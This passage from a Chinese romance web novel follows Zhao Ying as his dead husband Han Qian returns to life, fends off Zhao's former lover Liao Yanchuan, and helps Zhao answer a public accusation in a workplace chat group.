那是他和韩谦在一起的第一年,约会的地方是韩谦选的,因为赵郢有要求,不能影响下周一上班、尽量在南水市内,最多到隔壁市。还有,不能爬太高的山,他没力气。 双人的露营帐篷有点小沉,他们换着背,没走到山顶,韩谦拉着他在视野开阔的某一处停下来。 “这里特别适合看日落。”韩谦说。 也是一个春季,气温怡人,风光正好。 晚霞像一卷铺开的鎏金宣纸,流云行走其间,时不时变换着形状。一根巧克力蛋白棒伸到赵郢眼前,他接过去,耳边恰巧传来韩谦咬断蛋白棒的“咔嚓”声。 “这是我人生中爬过的最轻松的山。”韩谦吞咽完了才说话,嘴角有一点碎渣,“但却是最快乐,最有成就感的一次。” 赵郢爱干净的毛病大爆发,食指蹭掉那粒巧克力屑,“为什么呢?我还以为你会觉得没尽兴。” 韩谦身上保留了一些老外的习性,像喜欢极限运动、经常健身,在阳光明媚的沙滩上晒背,把自己晒出均匀的小麦色,尽管没多久又白回去了。 他眼底倒映着日落的光辉:“完全不会。我大一入学的时候,跟着社团的朋友爬过喜马拉雅。我是小队里高反最严重的一个,只觉得吸进肺部的每一口不是空气,是刺痛的冰刀——但最后我还是坚持攀到了峰顶。” “攀登的过程就像征服和对抗。”韩谦耸耸肩,“这次陪着你,是纯粹的欣赏风景,每种玩法都有它的乐趣。” 赵郢有些听呆了,半天后愣愣地点了点头,表示赞同。 在大多数人看来,年轻的恋人代表着无限的精力、有限的包容和耐心,除了年轻力壮以外一无是处。 赵郢并不这么想。 他不知道这是一种什么样的感觉,无法形容——他本以为这段恋爱只是一场茶余饭后的消遣,存续时间不会太长,爽够了就行。 可脑子里有一个声音,每一天都在对他公开处刑,举着喇叭高喊:赵郢,你沦陷了! 他还记得小学三年级写过的作文,题目是“我想成为——”,同学们众说纷纭,有的想抱着喜之郎上太空,有的想做大英雄,有的想暴揍奥特曼动画片的大怪兽。 第二天赵郢的作文交上去,他半自拟的题目是,他想成为一只鹰。 拥抱过自由的人不会渴望自由,陷落在沼泽的飞鸟才想重回天空。 或许,韩谦就是他想成为的,擅长高空盘旋、栖息地遍及全世界的猛禽。 太阳在天际摇摇欲坠的那一刻,赵郢坐在树墩上,韩谦先是站起身,再然后单膝跪在他面前,棕色的发丝仿佛打上浅淡的金色框线。 “咳,其实并不是想要求婚。”韩谦轻轻圈着他的手腕,下巴抵在赵郢手心,“就当是合适氛围下的一种承诺吧。赵郢,我希望陪我看每一场日落的人是你,陪我一直走下去的人也是你……好吧这跟求婚也没多大区别。” 韩谦摸了摸裤兜,为难地说:“可是我忘了带戒指。” 求婚日他本来另有打算的。 “为什么不看日出?”赵郢问。 韩谦噎了一下,说:“怕你起不来。” 赵郢:“……” “赵郢。” 韩谦伸出一根手指,修长的指节缓缓弯曲,在他右手中指的尾部形成一个牢牢的环扣,“暂时用这个当戒指了好不好?”他清清嗓子,“你愿意……” 赵郢觉得有些好笑,但又有种说不出的感动。 你完了,他这样想着,然后指尖轻轻往回勾。 “我愿意。” 此刻同一个地点,同一个季节,其他同事已经四散开各自拍朋友圈的九宫格,赵郢走到那颗树墩旁边,摸了摸粗糙表面一圈圈不规则的环形树轮。 大巴到达莫湖岛,韩谦没有如约出现,不知道这条鬼飘到哪个山头了,赵郢心想。 太阳即将落山,他听到白舒沅喊人的声音,大概是要走了。 正当他准备动身,斜后方密集的树丛中传来哗哗异响,他已经做出“H”的口型,却看到来的人不是韩谦,是廖彦川。 “……怎么又是你。”赵郢无语道。 “刘总让我来找你。”廖彦川一边过来一边低头摁亮火机,烟尾钻出一圈呛人的白雾,“问了好几个人,听小李说你在山上。” 赵郢双手插进外套口袋,条件反射地开了录音键:“哦,那下山吧。” “赵郢,你真是一刻也不想和我呆。”廖彦川敛眸笑道。 “你不是知道原因吗。”赵郢怪异地看了他一眼,“我为什么要和一个背信弃义的人呆在一起?没看着你的脸吐出来,我已经很有素质了。” “毕业后我每隔一段时间都托人把我的联系方式送到你手里,多少年了……九年?十年?你一次也没放在心上。” 廖彦川笑容有些崩裂,他高声道:“你以为是我情愿的吗赵郢?我父母很传统,他们接受不了同性恋,逼我结婚生子——现在同性都他妈合法了,他们还把老一辈的话奉为圭臬!我那么爱你,怎么舍得和你分手……” “你恶不恶心。” 赵郢没有表情,平静地说:“我真的要吐了。” “你爱我,所以瞒着我跟家里安排的女生相亲。你爱我,所以宁可让我不明不白地留在你身边,也不肯向我坦白一切,一起想个两全其美的办法。” “你哪里爱我了?”赵郢拂开被风吹乱的额发,“你通过婚姻,在那位杜总监的助力下平步青云,我看你享受得很。” “够了!” 廖彦川忍无可忍地打断他,上前一步试图拉扯赵郢的衣袖:“你只看到我表面的光鲜,赵郢,这么多年我一直很想你……我恨我自己当初为什么不能勇敢一点,哪怕反抗一次,也不至于彻底失去你。” 他说:“小郢,南水市的调令是我自愿申请的,这次我是为你来的。还有谁会像我一样爱你呢……韩谦吗?他死都死了。” “你他妈才死都死了!”赵郢一巴掌挥开他的手,怒不可竭地瞪着廖彦川,“再敢碰我,信不信我让韩谦爬出来揍你?” 廖彦川听笑话似的笑出声,他把烟头扔到脚下,用鞋底碾灭火光,一步步靠近赵郢:“只有傻子才信鬼神之说。韩谦是什么神奇宝贝吗?赵郢,他都化成灰——呃!” 眼前的男人轰然倒地,赵郢前一秒还以为他在演,后一秒看到廖彦川倒下后,手持一根粗壮木棍的韩谦,身心双双放松下来。 这人穿着一身黑,黑色卫衣、黑色兜帽、黑色口罩,比廖彦川还像骚扰犯。 不过赵郢用了不到一秒,一眼就认出他是谁。 “阎王派黑白无常把我接走,说是要做一份投诉回访。我说能不能改天,他死活不放我走,摁着我填那个破问卷。对了赵郢,我好像百分之百化出人……” 他没能说完,因为赵郢像一只凌空蹬起的猫,闪电般地撞进他的胸膛。 赵郢侧着耳朵,听到了迟来的心跳,每一下都蓬勃有力,体温也不再是冷冰冰的冰碴子。 他以为自己这么多天已经习惯了,一出声,哽咽地说不下一句完整的话。 隐忍再三,赵郢揪着韩谦的卫衣系带,把眼泪都抹在他胸口。 “对不起……对不起。” 对不起。 第26章 第 26 章 而且你身上很香。 赵郢和他抱了一会儿, 然后听到下山的同事折返回来找人的声音。 “怎么办?”赵郢的下颚顶在韩谦胸骨正中间,掀开眼皮向上看他,将以一个难看的姿势倒在一旁的廖彦川忽视得很彻底。 “你要不躲躲?” 韩谦兜着手掌, 贴合着一片细韧的腰身,他不轻不重地揉一揉捏一捏,仿佛患上了一种名为“赵郢饥渴症”的罕见病。 “都变回人了, 又不是什么见不得人的东西。”他戴着口罩,声音闷闷的, “不过你这样说, 有点像我们在偷情。” 韩谦上幼儿园的时候就在Greta的片场里生龙活虎地乱蹦跶了,好歹也是看着别人拍戏长大的, 演技至少吊打一众只会瞪眼大叫的流量明星。 他屈指在赵郢肩膀上“咚咚”敲两下, 另一只手恶趣味地揉了揉被休闲裤包裹着的软肉:“嫂子开门, 我是我哥。” 赵郢:“……” 神经病。 他在同事赶到的前一刻把韩谦推远了些,嫌弃地拎着廖彦川的衣角, 但没有要把他扶起来的想法,只是做做样子。 当小李扛着鱼竿第一个赶到, 惊恐地问这是什么情况, 赵郢抬手探着鼻息, 神色自若地说:“廖经理滑了一跤,可能是磕到哪了, 我没敢动他。” “帮忙打个120。”他说。 小李面露难色:“赵哥,我打不了, 手机掉湖里了还没捞上来呢……” 他话刚说完, 白舒沅一行人姗姗来迟,有人见状讶异地“嚯”了一声,不是对晕倒的廖彦川, 而是对成功隐于阴影中,不细看压根看不出那里有个人的韩谦。 “你是?”白舒沅狐疑地朝他看过去。 两名男同事怕面朝下的伤患呼吸不过来,小心翼翼扶着廖彦川的脖子,给他的脑袋换了个角度。 赵郢站起身,发现韩谦不知何时又在全副武装的脸上添了副黑墨镜,看着像哪个精神病院跑出来的一样。 他解释道:“这位也是来露营的游客,半道上碰见的,担心我找不到人,所以留下来陪我照顾廖经理。” 小李傻呵呵地笑:“原来是游客啊,我还以为是在逃杀人犯呢,包这么严实。” 不包严实,直接把脸亮出来吓死你们吗,赵郢心想。 他看了看韩谦,小李其实也没说错,这身打扮简直离谱。 “抱歉,我刚整过容。” 韩谦一本正经地编瞎话,缓慢道:“新割的双眼皮拆线不久,还垫了鼻子打了玻尿酸。” 120到这得有一段时间,赵郢决定在场的人走一半留一半。他和韩谦作为目击者肯定要留下,其次是对韩谦的“整容项目”非常感兴趣的小李,再就是廖彦川团队的小方。 “呃……哥,你一个男的为什么要整容啊?动刀子可疼了,我之前拔个智齿都一个月没好好吃饭。”小李说。 有墨镜挡着,韩谦瞥他他也看不出来:“人为悦己者容,男的怎么就不能整了?” 他戏瘾犯了,手指摩挲着吹牛说花了几十万整出的亨利卡维尔同款下巴,高深莫测道:“实不相瞒,哥就是靠这张脸吃饭的。” 小李“哇”了一下,很捧场地说:“能告诉我你叫什么,演过什么作品吗?我这辈子还没见过活着的大明星!” “不行。”韩谦婉拒道,“因为——” 小李:“因为不方便?” “Absolutely not.” 韩谦摇摇头,说:“因为我比较糊。” 小李:“……” 赵郢:“……” 半小时后,救护车赶到,医护人员将廖彦川抬上担架,赵郢与韩谦陪同上了车。 赵郢自掏腰包代付了一系列费用,晚上十一点,他们到家的时候公主已经趴在狗窝里睡着了。 “快闷死我了。” 韩谦摘下口罩墨镜,边捋头发边抱怨这个立体口罩塑形效果好,但透气是一等一的烂,把他耳朵都刮红了。 他脸颊有点泛红,鼻梁挂着一道红印,不知道是被闷出来的还是被口罩边缘蹭出来的。 看来鼻梁太高也不一定是好事。 赵郢进卧室换了身家居服,一出来,韩谦正背着他脱上衣。纯黑的卫衣掀到头顶,底下流畅的肌肉线条将视线挤了个满满当当,他晃完神,韩谦的裤子也脱了。 而阳台两侧的窗户还没拉上,对面就是另一栋住宅楼。 赵郢抬腿往他屁股上踹了一脚,眼疾手快地扯过窗帘,骂道:“搞什么?你有暴露癖吗!” 韩谦脱得只剩内裤,他被踹得一踉跄,捡起地上的裤子,有些委屈:“太久没当人了,赵郢。” 做鬼一时爽,肉身回来以后反而不习惯了。 趁赵郢转过去拉窗帘,他从后面把人抱住,鼻尖在赵郢的肩颈处吸来吸去,跟金毛德牧这种大型犬似的。 “我没洗澡。”赵郢推推他的脸,但没推动,反过来手腕也被韩谦抓着一起亲。 “没事。” 韩谦在他锁骨上咬了一口,含糊道:“反正一会儿也是要洗的,而且你身上很香。” “……” “绝味鸭锁骨的那种香?”赵郢逗他,笑容收敛了一些。 他现在心情挺复杂,眼眶在医院外被风吹过,涩涩地泛着酸。对他而言,韩谦死而复生就像上天开了个玩笑,让他在巨大的情绪起伏中,给一头棒槌又奖励一颗甜枣。 喜悦的同时,赵郢偶尔会想,如果没有山体滑坡,没有后续的这些事,他是不是就要和韩谦“到此为止”了? 韩谦回来是回来了,他所面对的困境却始终不变,他该怎么做才好? 正思考着,韩谦突然把头埋在他颈侧,沉闷地笑个不停,赵郢感受到了灼烫的热风,以及韩谦眼角笑出来的泪花。 “赵郢,下次不许讲这种话。” 他笑得骂了句脏,说:“差点萎了。” 然而他说的和实际情况恰恰相反。 “……傻逼。” “又骂我。”韩谦双手伸进赵郢的上衣下摆,断断续续地按压着他的小腹,“我都数过了,加起来一共骂了八十一次。”(ps:这里就是摸肚子,摸肚子,摸肚子,审核能不能看清楚?) 赵郢的腹部上了一圈痒痒肉,忍不住低低喘了一声,他感觉这里对于韩谦就像猫遇到猫薄荷,肚子经常一个不注意就被韩谦袭击了。 赵郢哪哪都瘦,从前在床上的时候,韩谦会故意握着他的手往肚脐偏上的地方按,问他这里是不是凸起了。 “不记得我有骂过这么多,少胡诌。” 衣服里的手往上摸到某个部位了,赵郢伸手朝他左脸轻轻拍了一下,示意韩谦见好就收,他要去洗澡了。 结果那人腆着脸把右脸凑上来,蓝眼睛闪着光:“这边也要。” “滚蛋!”赵郢无话可说。 韩谦总算从他身上下来,恍如一条离开洞穴的八爪鱼,光着上半身把那个装着他黑白遗照的相框拿走,纠结是扔垃圾桶好还是用打火机把照片烧了好。 “哎,别给我扔了。”赵郢将相框一把夺走,珍惜地擦掉韩谦印在上面的手指印。 “这是遗照,赵郢!” 韩谦贴着他的后背喋喋不休:“很不吉利好吗。” “封建迷信。”在寺庙烧了大几百万的赵郢倒打一耙,“留下来做个纪念也不错,我还没见过你这么年轻的样子。” “你喜欢我可以给你一沓。” 韩谦说:“我妈妈那里有一本相册,装着我从刚生下来到八岁的所有照片,十几岁的也有几张,不多,最多的是我穿尿不湿拍的写真。” “我没有看别人穿尿不湿的癖好。”赵郢淡淡道,“这种你就留着自己欣赏吧。” 他问道:“相册现在在哪?” “唔……”韩谦双手抱臂地靠在放相册的柜子旁,“在我旧金山的家里。” “那算了。”照片被赵郢抽出来,塞进钱包夹层。 “对了。” 赵郢进浴室准备脱衣服洗澡,韩谦也跟了过来,“你为什么要道歉?” T恤的布料太软,此刻像一股拧起来的绳,绞着赵郢的手臂。这回两个人都有些“坦诚相见”的感觉了,赵郢尴尬得说不出话,没想到记性这么好,且具有宝贵的刨根问底精神。 他承认他的坦然都是装的,离婚后的每一天没有哪一次不在想念,连身体保留下来的本能都在告诉他迟早有后悔的那一天。 如果韩谦没有活过来……如果韩谦永远长眠,他会带着悔恨走到生命尽头。 “没有为什么,道歉不需要理由。”赵郢说道。 “可是道歉一定有有原因。” 韩谦说,“如果是因为你那不能说的苦衷,我接受你暂时的沉默。” “我猜你不想我和你一起洗澡。”他拧着门把手,等赵郢的回答。 “没错,你可以走了。”赵郢难为情地向他挥挥手。 韩谦轻笑一声,走之前带上了门。 去往莫湖岛颠簸的两个小时,加上扎帐篷、爬山以及把廖彦川送到医院,赵郢的体力消耗殆尽,已经扛不住浓烈的睡意。 韩谦洗完澡出来的时候,他整个人处在半梦半醒的状态中,面部还盖着一本睡前催眠用的财经杂志。 但这种状态并没有持续多久。 赵郢还做梦在热带雨林探险,没一会儿,路旁蹦出一只霸王食人花,类似植物大战僵尸大嘴花的外形,花芯的位置被一条黏腻的红舌取代,一下子咬住了他的脚踝。(ps:这是霸王花,审核没玩过植物大战僵尸吗?) 他在一点点地陷落,脚踝湿哒哒的,紧接着相同的湿意一路往上蔓延。赵郢想从食人花的嘴里挣扎出来,却不小心加深了被生生吞食的体验。 不上不下的感觉就像有一万只蚂蚁在身上爬,赵郢颤抖着醒了过来,睁开眼,多出来的那个人宽阔的肩胛将毛毯顶出拱桥的模样。 韩谦喉结微微滑动,须臾,他托着腮。 “是我吵醒你了吗,赵郢?” 第27章 第 27 章 鸭子嘴。 韩谦的许多想法就像是大脑一热的产物, 好比两个武林高手对决,赵郢刚中规中矩地摆了一个起手式,对方却使出杀手锏结束了战斗。 他简直拿韩谦没办法。 “你要是还有点良心, 待会儿就让我接着睡。”赵郢抬手捏捏他的耳垂,看向韩谦撑在他身体两侧的臂膀,啧一声, “压到我腿了。” “有吗?”韩谦不服气地盯着他,转而把赵郢的腿分得再开些。 他大半个人挤在赵郢膝间, 为了不弄醒他, 特地做得很小心,如此谨慎的他是不可能压到赵郢的腿的。 韩谦做了个类似平板支撑的动作, 一个挺背滑到赵郢头顶, 俯身想同他接吻。嘴唇即将挨上的时候, 却被赵郢的两根手指捏成扁平的鸭子嘴。 “……” 韩谦:“嗯嗯嗯?” “漱口了吗就想亲我?”赵郢拍了拍空着的另一半床,等韩谦在他身旁躺下了, 翻身在边几的抽屉里找到一瓶漱口水和一个一次性塑料杯。 韩谦看了他一眼,默默接过:“赵郢, 你自己的东西也嫌弃?” “漱口好吗?赶紧漱口。”赵郢强调道。 他的漱口水也是橘子味的, 有些涩嘴, 宛如被一把毛刷刮了两下舌头。韩谦朝杯子吐了三次,一边嚷着说“这总行了吧”一边把自己贴过去—— 下一秒, 他又被赵郢捏成鸭子嘴。 韩谦吃瘪的表情很好玩,赵郢打心眼里这么认为, 尽管他总说这个人的举动令人意想不到, 但和韩谦呆久了,他本人也有被同化的趋势。 这叫什么?近墨者黑。 赵郢松开手的一瞬间,被愚弄了两次的人将胸膛结结实实地压了下来, 犬齿一口咬下他下巴上。 赵郢想,韩谦肯定把他的下巴当成仅供磨牙的狗骨头,咬完还要再舔舔,蹭得口水到处都是。 于是他左腿踩着床垫,用膝盖轻轻怼着韩谦的小腹。 “嗯?”韩谦捉着他乱动的脚踝,歪歪头。 赵郢张开嘴,吃药似的“啊”了一声,催促地说:“快点,我好困。” 两人终于接了一个漫长的吻。 赵郢后背湿淋淋的,一脑门的汗,但韩谦也有过之而无不及,他们仿佛睡在露天房间中,被大雨浇了一身的落汤鸡。 他抵着韩谦汗湿的额头,这小子经常把他不爱运动挂嘴边,床上运动怎么不算运动? 休息的几分钟空隙,赵郢目光失焦地发了会儿呆。 “想什么呢?”韩谦搂着他的腰问。 透过漏出一条缝隙的窗帘,屋外的天蒙蒙亮,被一层色调暗沉的灰笼罩着。 他趴在韩谦身上,犹如一条脱水的鱼,颊边浮着一抹高热的红晕,“没什么。” “就是在想……你今后怎么坐飞机。” 韩谦没憋住,扑哧笑了出来。 他在地府问过相同的问题,因为黑白无常的疏忽以及阎王监管不力,他白白浪费了几十年光阴,被省流版一键火化。再次拥有人身,他还能不能叫回“韩谦”这个名字? 阎王“这个这个”“那个那个”了半天,皱着一张苦瓜脸:“情况具体是什么样的,还要看具体的情况……” “Yes or no?”韩谦的笔尖顿在问卷最后一栏,要知道,他一个笔误,阎王的五星好评可能就会沦为负五星差评。 “操作空间不大。”阎王恳切道。 韩谦急了,地府调研办公室的桌案被他拍得哐当响,“那我岂不是成了黑户?问政天庭的意见箱在哪?我要投——” “别着急嘛这位小友……” 阎王嗔怪地看着他,将那碗泡着上好的,他都不舍得喝的宝贝茶叶的瓷杯推到韩谦手边。 “我查过你的家属名单,你的母亲霍夫曼女士已经过世,父亲乔彬程也差不多快了。你大可以伪装成死去的你的远房表弟,在死无对证的情况下,不会被拆穿的。” “至于户口问题,这更好办啦!一旦你确认好你的新名字,地府这边将把你的新身份录入生死簿系统,存档成功后,你在人间存在即合理。” 阎王说道:“想好你叫什么了吗?” 韩谦在回访问卷上给阎王勾了一个五星好评,还写了一句体面的评语,有这份具有谅解性质的证明在,以阎王为一把手的地府单位可申请酌情处理了。 “那你的新名字呢?”赵郢翻下身问道。 韩谦:“英文名是Alex Hofmann,中文名还叫韩迁。”他在赵郢手心写了个字,“这个迁。” “笔画少,不错。”赵郢赞叹道,“这个名字我喜欢。” 前几年云升想筛选出更符合条件的实习生,弄了一个什么带教日志,凡是手下有实习生的员工都被强制性要求填写。 别的实习生还好,连名带姓三个字的笔画加起来都没韩谦一个人的多。 赵郢想想就觉得糟心。 “原来的那个‘谦’还是乔彬程取的。”韩谦说,“温良恭俭让,叫韩让听起来怪怪的,后来折中了一下,选了意思相近的谦。” 他提到乔彬程时眼底闪过一丝厌恶:“老头希望我不争不抢,不要喧宾夺主,可我对他的钱根本不感兴趣。他从来都不是一个好父亲,还在我葬礼上假惺惺……没劲。” 赵郢被他说得一愣一愣,在他出生的地方,在他念小学初中的县城,所有人都默认听话的才是好孩子,也就是韩谦口中那种不争不抢的性格。 他随大流地赞同这个观点,上了高中,周围的人又变了话术,说人就是不断地竞争向前,大胆、创新、有自主有斗志。 进入职场后更复杂了,有人期望你做老子,也有人盼着你做孙子。 做还是不做,这是个好问题。 “赵郢,人生下来就得又争又抢啊。”韩谦非要跟他睡一个枕头,低声道,“不然怎么出生?” 意识到韩谦指的是什么,赵郢在他脑门敲了一记,笑道:“歪理邪说。” 但是又接了一句:“不过我觉得你说得对。” 说完他和韩谦对视一眼,像是被点了笑穴,乐得腿肚子都在抽筋。 这个周末是赵郢一年以来过的最舒坦的一个,上一个项目告一段落,没有半夜三更要求推翻重改的傻逼甲方,没有响个不停的企业微信——刘总等人还在莫湖岛露营,他好像处在被世界遗忘的安静角落。 或者说,这是属于他的“乌托邦”。 闹了一整晚,赵郢睡到下午四点才醒,他把手伸到一旁摸了摸,没摸到人,顿时吓得心脏将要从嗓子眼蹦出来。 他拖鞋都来不及穿,光着脚跑到客厅,此时玄关传来开门的声音,韩谦拎着一大袋东西,隔着商超的大号购物袋,他隐约辨认出里面装的是调味料之类的日常用品。 “穿鞋穿鞋,寒从脚上起!”韩谦将袋子搁到餐桌上,肩膀推着赵郢的后背。 明明口头说一句的事,却一定要身体力行地贴贴一番。 赵郢被他推回卧室门口,老老实实踩着拖鞋,走出来后嘴里叼着一根烟:“买了什么?” “虾仁馅的速冻水饺,李锦记薄盐生抽……赵郢你他妈把烟放下!” 韩谦起床第一件事就是先藏赵郢的打火机,感谢他的先见之明,赵郢从穿鞋到走进客厅,整整两分钟都没摸到打火机的尾巴。 “抽死你算了呢。”韩谦变戏法似的抽出一大盒不二家棒棒糖,挑了根香橙味的,撕开包装塞进赵郢嘴巴里,“我活都活过来了,想殉情门都没有。” 赵郢把糖块顶到右侧腮帮,狂跳的心脏缓慢平稳下来:“我五岁小侄女都不吃这玩意了。” “小孩又不抽烟,可比你乖一万倍。”韩谦冷哼道。 赵郢将装没听见,挽起袖子进了厨房。 水烧开,他向锅里扔了十二个饺子,随后扭头敲了敲隔断的玻璃门,问韩谦吃多少个。 “和你一样。”那人说。 等饺子煮好期间,赵郢打了两碗调料,一碗不辣一碗微微辣。 赵郢把盘子端出来的时候,那一大袋杂物早已被韩谦搬到桌下,他盘腿坐在地板上,低着头不知道在捣鼓什么。 他凑近一看,韩谦的指间落着一朵快拼好的乐高玫瑰花。 “就来,一分钟搞定。”韩谦说。 最后只用了十几秒,玫瑰花的绿色花柄与花朵成功对接,连接处被他旋紧,拧得很严实。 大号塑料袋底部装着一个蓝白相间的积木花盆,韩谦把花插进去,回到座位上。 “送谁的啊?”赵郢饺子咬了一半,说。 韩谦:“你有见过我送除你以外的人礼物吗?” 赵郢正在咀嚼,只好闷声笑。 想起韩谦第一次到他家,看到那一阳台绿植,还问过他副业是不是植物学家。 赵郢当然不是,他养什么都养不好,只能入手一些不易被养死的花花草草。他讨厌看到一个鲜活的生命在自己面前消逝,可能冥冥之中,上天感应到了他的心声。 所以他的爱人失而复得,还送了他一朵永不凋落的积木花。 赵郢进厨房不带手机,刚好放在韩谦那边。吃饭的时候桌面轻微震动,似乎是他手机收到了许多条消息。 韩谦瞥了眼锁屏,“舒沅姐的消息。” 手机递给赵郢之前,锁屏的消息栏滚动不停:“……还有小李的消息、刘叔的消息。赵郢,我记得今天周末?” 赵郢接过去一看,工作号的置顶群全炸了,白舒沅发了99+的微信,问他和廖彦川到底怎么一回事,让他赶紧看公司大群。 点开最上方的群聊,赵郢也有些傻眼。 一位群昵称名叫“杜蘅”的人,在群里甩了一张他和廖彦川那天在山上的错位合照,咄咄逼人地质问道: [赵经理,你跟我老公是什么关系?] 第28章 第 28 章 “必须好好慰问你的蠢货…… 置顶第一的公司大群最新消息还停留在杜蘅那句质问上, 但赵郢知道,同事私下创建的闲聊群肯定飞满了关于他的猜测。 什么“男小三”啦,“办公室偷情”啦, 标题他都想好了: 《树林基情四射,人夫偷食男同事震撼全城》 八卦是一个人的天性,尤其这还是领导的八卦。如果把主角之一从他换成刘总, 赵郢照样不能免俗,高低要和韩谦唠两句。 韩谦看着赵郢的眉心越皱越深, 放下筷子碰了碰他的手背, 问:“怎么了?” 赵郢沉默不语地将手机调转方向,示意他自己看记录。 杜家的公司是家族企业, 在燕城扎根已久, 好比一棵长了百年的老树, 根系发达枝繁叶茂。杜蘅是乔彬程现任妻子杜女士的家族成员,按辈分, 应该是他们女儿的表姐或者表妹。 韩谦的手指滑动几下,疑似一目十行地过着群聊的对话, 半晌赵郢听见他咬牙切齿地挤出三个字:“狗男女。” 在狗窝盘成一个弧形的比格犬动了动耳朵, 高昂地“汪”了一声。 韩谦:“…….没说你。” 公主又把脑袋低下了。 “当初刘总找我谈话, 说廖彦川和杜蘅的关系岌岌可危,两人貌似在冷战。这会不会是他们商量好的仙人跳?” 赵郢在真正组织好措辞前不会回复杜蘅, 当务之急是理清思路。 他半截小臂横在胸前的餐桌上,仿佛顷刻间进入到工作状态, 严谨地假设情况:“廖彦川负责找机会靠近我, 让人拍下这种容易出误会的照片,杜蘅则以受害者的身份声讨我,用负面舆论逼迫我离职。” “等等, 还有一个问题。”赵郢抬眸望向韩谦,“你有见着偷拍的人吗?” “没。”韩谦摇头说,“那人在我来之前就走了。” 他把照片放大一些,着重观察了一下拍摄角度和清晰度,“不过从细节看,你和廖彦川的轮廓都很模糊,画面中还出现了拖影,那个人走得挺着急。” “业务不熟练啊。”韩谦评价道,“好歹请个专业点的呢?参照那些扛着‘大炮’拍明星的站哥站姐,人家出的图连毛孔都看得清。” 赵郢:“……”那还是算了。 他并不想被全公司的人看到脸上的毛孔。 “我不觉得是仙人跳,赵郢。你的那位初恋前任智商没那么高,杜蘅的自尊心也强得难以想象,她绝不可能忍受自己的丈夫对一个男人别有居心,哪怕只是做戏。” 韩谦嘲讽道:“我更偏向于是你的蠢货前任心思太明显,被我这位‘表姐’无意中发现了而已。” 他话里话外贬低廖彦川的意思也很明显,赵郢大老远就闻到一股酸酸的醋味了。 韩谦这番酸言酸语仿佛一支放松剂,让他紧绷的肩背松懈下来,萦绕在周围的压抑感也消失了一大半。 赵郢把手机拿回来,脑海中大致有了思路,于是他点开群聊回复道: [杜总是新闻学出身,想必比我更清楚什么是‘视觉欺骗’。仅用一张借位照片就含沙射影我与廖经理有不正当关系,杜总是否违背了本专业的初衷?] [且不说那天我是被邀请上山,身为已婚人士,我对我的伴侣也没有任何背叛的想法。清者自清,杜总方便的话可以在私下与我沟通,我不介意出示我的结婚证件证明我的感情状态。] [如果杜总执意偏执己见,届时就让双方律师进行交涉,我们没有再谈下去的必要。] 他发完最后一段,刘总开启了全员禁言,卡的时间刚刚好。 一眨眼,刘晋的电话拨了过来,赵郢点了接通。 “赵郢,你……什么时候的事?”他的感情状态对外一直保密,刘晋感到惊讶很正常。 赵郢从靠椅上起身,经过客厅又停下了,他现在已经不需要再避开韩谦。 “快两年了吧。您知道的,我并不想在公司暴露太多自己的私生活。” 刘晋在电话里沉默几秒,说:“是公司内部的同事?” 赵郢“唔”了一声:“算是。正巧刘总您也认识。” “我认识?” 刘晋登时起了精神,开始可汗大点兵,将分公司对得上号的人全提了一嘴,白舒沅都没能逃过他的魔爪。 中老年人的想象力堪比天马行空,赵郢见他越说越离谱,与反过来趴在椅背上的正主对视一眼,眼底含着笑:“这些都不是。” “您大概率想不到的。”他轻快道,“是韩谦呀。” “韩……咳,韩什么?”刘总一阵咳嗽,咳得气喘,“韩什么?” “韩谦。”赵郢说。 刘晋那边长久没有回应,但通话又在继续,赵郢猜他正努力消化这个突如其来的消息。 刘晋对他有知遇之恩,又是看着韩谦长大的长辈,自己扶持的两个小辈瞒着他隐婚两年,他接受不了赵郢也能理解。 赵郢这么想着,手机里传来刘晋的的一声叹息:“我家小孩教育我说,婚姻自由、恋爱自由,你们这些小辈都有自己的想法,我干涉不了。但是小赵啊,韩谦这臭小子走得这样早,你以后会不会有点辛苦呢……” “韩谦是我看着长大的,说是半个儿子也不为过。直到今天我仍然觉得,那通打到我办公室的电话、那场葬礼很不真实。前几天我还梦到他了,说我老胳膊老腿的少动弹,提着鸟笼在花园溜溜弯不好吗……你看,还是那么没大没小。” 赵郢默默扫了韩谦一眼,那人一脸无辜地看着他,赵郢做了个口型,无声说:“不要欺负老年人。” 某个无赖指指耳朵,又点了点嘴唇,再一摊手,表示他听不懂赵郢在说什么。 “小赵,你还是太年轻,处理事情从不考虑给自己留条退路。”刘晋在他耳边念叨着说,“杜蘅是燕城总部的人,她想处理你,我恐怕无能为力,但我会尽力而为,你自己也要做好准备。” 赵郢说了声“好”,终止通话。 电话里刘晋提到的“做好准备”,几年前就在赵郢心底留了个雏形。 走到他如今的位置,每一步都以消耗生命为代价,加班、酒局、二十四小时待命,还有各种大大小小的考核。云升就像IT人心中的互联网大厂,明知道前方是一团火,焚烧的是源源不断的大好年华,却还是义无反顾地扑进去。 他真的清楚自己想做什么吗? 他真的热爱这份职业吗? 赵郢一年又一年地蹉跎自己的时间,只是因为他没得选。 他就像一个能源中转站,通过精力获得的报酬并不真正属于他,就算付出再多,他也没有实感。 那个念头渐渐冒芽,他需要一个契机去实现,而当下就是一次不错的时机。 赵郢将车钥匙装进口袋,“我要去医院看看廖彦川,你想不想跟我一起?” 韩谦迫不及待地跟了过来,笑道:“想啊。” “必须好好慰问你的蠢货初恋。” 第29章 第 29 章 “管好你自己。”…… 医院停车场离住院楼很近, 赵郢把车停好到走进五楼的一间病房,统共用了十分钟不到。 一路上赵郢强调再三,让韩谦“不许动手, 不许言语过激,不许抢他的话”,毕竟他们来只是为了从廖彦川嘴里试探出偷拍的人是谁, 而不是叫这人再上一次手术台。 韩谦“嗯嗯哦哦”地应了几声,赵郢每说一句, 他唇缝便抿紧一分, 遮住眼睛的墨镜反射出条状的灯光。 他脑袋上罩了一顶版型很好的棒球帽,走在医院长廊上仿佛一堵行走的高墙, 路过的病人见了都要绕道走。赵郢挠了挠这堵墙的下巴, 叹气道:“你放松点, 好不好?” 绷直的唇缝有了松动的趋势,赵郢转过身, 将病房的门推开。 廖彦川的床位在进门右手边,剩下的三张床都空着, 有两张放了杂物, 可能是病人做检查去了。 在医院呆了一整晚, 那人腿上盖着被子,浑身透着一股虚弱的劲儿, 下巴也长了层薄薄的青色胡茬,正转着水果刀给一颗苹果削皮。 “我能办理出院了吗?”廖彦川似乎把他当成查房的护士。 赵郢走到床尾, 说:“廖经理, 是我。” 削水果的那只手一顿,廖彦川抬头看着他:“我要离婚了,小郢……你后面那个人是谁?保镖?你看起来被那晚吓得不轻。” 赵郢眼角余光瞥到韩谦霎时握紧的拳头, 不露声色地把人挡住,“他是谁跟你没关系,你离不离婚也无人在意,我来只想问一件事——那张照片是谁拍的?” 